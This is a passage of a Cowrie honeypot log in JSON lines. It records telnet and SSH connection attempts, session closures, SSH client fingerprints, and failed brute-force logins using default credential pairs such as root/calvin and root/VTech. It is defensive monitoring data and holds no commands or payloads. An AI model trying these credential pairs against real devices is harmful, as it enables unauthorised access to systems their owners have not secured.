{"eventid":"cowrie.login.failed","username":"nobody","password":"nobody","message":"login attempt [nobody/nobody] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:58:03.091259Z","src_ip":"27.77.246.170","session":"593c38daa4b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":47720,"dst_ip":"159.203.135.109","dst_port":23,"session":"da6c1931d250","protocol":"telnet","message":"New connection: 192.119.108.58:47720 (159.203.135.109:23) [session: da6c1931d250]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:58:03.274823Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":47722,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ccaa94b88f3","protocol":"telnet","message":"New connection: 192.119.108.58:47722 (159.203.135.109:23) [session: 9ccaa94b88f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:58:03.286258Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"VTech","message":"login attempt [root/VTech] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:58:04.087972Z","src_ip":"27.77.246.170","session":"593c38daa4b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":47632,"dst_ip":"159.203.135.109","dst_port":23,"session":"05afe9a866c3","protocol":"telnet","message":"New connection: 192.119.108.58:47632 (159.203.135.109:23) [session: 05afe9a866c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:58:04.110315Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":47668,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b4b5f90ee40","protocol":"telnet","message":"New connection: 192.119.108.58:47668 (159.203.135.109:23) [session: 8b4b5f90ee40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:58:04.153977Z"}
{"eventid":"cowrie.login.failed","username":"vadmin","password":"vadmin","message":"login attempt [vadmin/vadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:58:05.083298Z","src_ip":"27.77.246.170","session":"593c38daa4b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.198220491409302,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:58:05.315549Z","src_ip":"27.77.246.170","session":"593c38daa4b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":48160,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0e7e518d688","protocol":"telnet","message":"New connection: 192.119.108.58:48160 (159.203.135.109:23) [session: b0e7e518d688]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:58:05.386019Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":48752,"dst_ip":"159.203.135.109","dst_port":23,"session":"2546c536af7b","protocol":"telnet","message":"New connection: 192.119.108.58:48752 (159.203.135.109:23) [session: 2546c536af7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:58:05.579272Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":48754,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a6060a673a2","protocol":"telnet","message":"New connection: 192.119.108.58:48754 (159.203.135.109:23) [session: 8a6060a673a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:58:05.583159Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":47664,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7f2e54edceb","protocol":"telnet","message":"New connection: 192.119.108.58:47664 (159.203.135.109:23) [session: c7f2e54edceb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:58:06.153464Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":49344,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b31a676c5fd","protocol":"telnet","message":"New connection: 192.119.108.58:49344 (159.203.135.109:23) [session: 4b31a676c5fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:58:06.549726Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":49050,"dst_ip":"159.203.135.109","dst_port":23,"session":"6187939e25c0","protocol":"telnet","message":"New connection: 192.119.108.58:49050 (159.203.135.109:23) [session: 6187939e25c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:58:07.133528Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":49192,"dst_ip":"159.203.135.109","dst_port":23,"session":"90c322c24c49","protocol":"telnet","message":"New connection: 192.119.108.58:49192 (159.203.135.109:23) [session: 90c322c24c49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:58:07.352688Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":49040,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3d197d88f22","protocol":"telnet","message":"New connection: 192.119.108.58:49040 (159.203.135.109:23) [session: d3d197d88f22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:58:09.132305Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":51278,"dst_ip":"159.203.135.109","dst_port":23,"session":"e77709f20449","protocol":"telnet","message":"New connection: 192.119.108.58:51278 (159.203.135.109:23) [session: e77709f20449]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:58:10.152808Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":51276,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea65521fa87d","protocol":"telnet","message":"New connection: 192.119.108.58:51276 (159.203.135.109:23) [session: ea65521fa87d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:58:10.158477Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":51798,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c63bd0c58d4","protocol":"telnet","message":"New connection: 192.119.108.58:51798 (159.203.135.109:23) [session: 5c63bd0c58d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:58:12.185213Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.38","src_port":52483,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2ef61e1b5c0","protocol":"ssh","message":"New connection: 198.235.24.38:52483 (159.203.135.109:22) [session: d2ef61e1b5c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:58:12.497196Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:58:12.830944Z","src_ip":"198.235.24.38","session":"d2ef61e1b5c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.91194796562195,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:58:16.211354Z","src_ip":"192.119.108.58","session":"b7745b9f5a61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":60756,"dst_ip":"10.17.0.5","dst_port":23,"session":"d35e48aad2c8","protocol":"telnet","message":"New connection: 104.245.105.2:60756 (10.17.0.5:23) [session: d35e48aad2c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:58:22.691385Z"}
{"eventid":"cowrie.session.closed","duration":30.756244659423828,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:58:23.088987Z","src_ip":"192.119.108.58","session":"556fc0ada4f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.165435314178467,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:58:23.289717Z","src_ip":"192.119.108.58","session":"ff06d9b81daf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.94356608390808,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:58:25.060800Z","src_ip":"192.119.108.58","session":"e9ea1ab39fcf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.067173957824707,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:58:25.237050Z","src_ip":"192.119.108.58","session":"91906c8bb774","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.28669047355652,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:58:26.458467Z","src_ip":"192.119.108.58","session":"05b3259d3a4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.226956129074097,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:58:26.642579Z","src_ip":"192.119.108.58","session":"6cfd4161c6a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.950770378112793,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:58:27.083819Z","src_ip":"192.119.108.58","session":"3d494c4cbf8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.948010683059692,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:58:27.088843Z","src_ip":"192.119.108.58","session":"e1959cfa5c74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.065079927444458,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:58:27.234101Z","src_ip":"192.119.108.58","session":"12976b991f17","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.953377962112427,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:58:28.053286Z","src_ip":"192.119.108.58","session":"fda67c085b0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.749817609786987,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:58:28.065645Z","src_ip":"192.119.108.58","session":"177e15beed7d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.025606393814087,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:58:28.130367Z","src_ip":"192.119.108.58","session":"14bcc67aad6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.172.195.92","src_port":55055,"dst_ip":"159.203.135.109","dst_port":23,"session":"691094af21a2","protocol":"telnet","message":"New connection: 46.172.195.92:55055 (159.203.135.109:23) [session: 691094af21a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:58:28.683772Z"}
{"eventid":"cowrie.session.closed","duration":30.943523645401,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:58:29.085066Z","src_ip":"192.119.108.58","session":"2cababea818d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.219478607177734,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:58:29.396895Z","src_ip":"192.119.108.58","session":"32c18a5b6ea3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.65862512588501,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:58:30.155675Z","src_ip":"192.119.108.58","session":"aec518ecdf22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.36.149.175","src_port":36902,"dst_ip":"10.17.0.5","dst_port":23,"session":"319d8646342a","protocol":"telnet","message":"New connection: 104.36.149.175:36902 (10.17.0.5:23) [session: 319d8646342a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:58:30.294701Z"}
{"eventid":"cowrie.session.closed","duration":30.92265009880066,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:58:34.197357Z","src_ip":"192.119.108.58","session":"da6c1931d250","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01971983909607,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:58:34.305922Z","src_ip":"192.119.108.58","session":"9ccaa94b88f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.929381370544434,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:58:35.039590Z","src_ip":"192.119.108.58","session":"05afe9a866c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.903156280517578,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:58:35.057055Z","src_ip":"192.119.108.58","session":"8b4b5f90ee40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.53455924987793,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:58:36.113732Z","src_ip":"192.119.108.58","session":"2546c536af7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.545687913894653,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:58:36.128787Z","src_ip":"192.119.108.58","session":"8a6060a673a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.25518298149109,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:58:36.641092Z","src_ip":"192.119.108.58","session":"b0e7e518d688","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93995451927185,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:58:37.093302Z","src_ip":"192.119.108.58","session":"c7f2e54edceb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.155595302581787,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:58:37.705191Z","src_ip":"192.119.108.58","session":"4b31a676c5fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72702121734619,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:58:38.079575Z","src_ip":"192.119.108.58","session":"90c322c24c49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.161009311676025,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:58:38.294395Z","src_ip":"192.119.108.58","session":"6187939e25c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.929476499557495,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:58:40.061684Z","src_ip":"192.119.108.58","session":"d3d197d88f22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.493675708770752,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:58:41.646380Z","src_ip":"192.119.108.58","session":"e77709f20449","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.491909980773926,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:58:41.650290Z","src_ip":"192.119.108.58","session":"ea65521fa87d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.106274127960205,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:58:43.291348Z","src_ip":"192.119.108.58","session":"5c63bd0c58d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.153228521347046,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:58:54.844532Z","src_ip":"104.245.105.2","session":"d35e48aad2c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":59404,"dst_ip":"10.17.0.5","dst_port":23,"session":"77054f0e11da","protocol":"telnet","message":"New connection: 104.245.105.2:59404 (10.17.0.5:23) [session: 77054f0e11da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:59:00.605237Z"}
{"eventid":"cowrie.session.closed","duration":31.113085508346558,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:59:01.407652Z","src_ip":"104.36.149.175","session":"319d8646342a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":41370,"dst_ip":"10.17.0.5","dst_port":23,"session":"b415e47ba50f","protocol":"telnet","message":"New connection: 104.245.105.2:41370 (10.17.0.5:23) [session: b415e47ba50f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:59:22.347372Z"}
{"eventid":"cowrie.session.closed","duration":30.864025831222534,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:59:31.469148Z","src_ip":"104.245.105.2","session":"77054f0e11da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.560758113861084,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:59:53.908005Z","src_ip":"104.245.105.2","session":"b415e47ba50f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.76.142.79","src_port":34976,"dst_ip":"159.203.135.109","dst_port":23,"session":"1dc1309e10c4","protocol":"telnet","message":"New connection: 64.76.142.79:34976 (159.203.135.109:23) [session: 1dc1309e10c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:59:55.119973Z"}
{"eventid":"cowrie.session.closed","duration":13.522282838821411,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:00:08.642160Z","src_ip":"64.76.142.79","session":"1dc1309e10c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":44564,"dst_ip":"10.17.0.5","dst_port":23,"session":"658d57a817f0","protocol":"telnet","message":"New connection: 104.245.105.2:44564 (10.17.0.5:23) [session: 658d57a817f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:00:27.264025Z"}
{"eventid":"cowrie.session.closed","duration":120.00273275375366,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:00:28.686399Z","src_ip":"46.172.195.92","session":"691094af21a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":34686,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ae3e50a4112","protocol":"telnet","message":"New connection: 104.245.105.2:34686 (10.17.0.5:23) [session: 2ae3e50a4112]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:00:34.482331Z"}
{"eventid":"cowrie.session.closed","duration":33.53087592124939,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:01:00.794763Z","src_ip":"104.245.105.2","session":"658d57a817f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.406811714172363,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:01:05.889073Z","src_ip":"104.245.105.2","session":"2ae3e50a4112","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":4882,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4e2f091fbbd","protocol":"ssh","message":"New connection: 193.24.211.95:4882 (159.203.135.109:22) [session: d4e2f091fbbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:02:00.785744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:02:00.797614Z","src_ip":"193.24.211.95","session":"d4e2f091fbbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:02:00.897962Z","src_ip":"193.24.211.95","session":"d4e2f091fbbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"calvin","message":"login attempt [root/calvin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:02:01.325736Z","src_ip":"193.24.211.95","session":"d4e2f091fbbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:02:02.437433Z","src_ip":"193.24.211.95","session":"d4e2f091fbbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.17.5.126","src_port":44726,"dst_ip":"159.203.135.109","dst_port":22,"session":"70310b8bd964","protocol":"ssh","message":"New connection: 223.17.5.126:44726 (159.203.135.109:22) [session: 70310b8bd964]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:02:49.533854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:02:49.537770Z","src_ip":"223.17.5.126","session":"70310b8bd964","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hel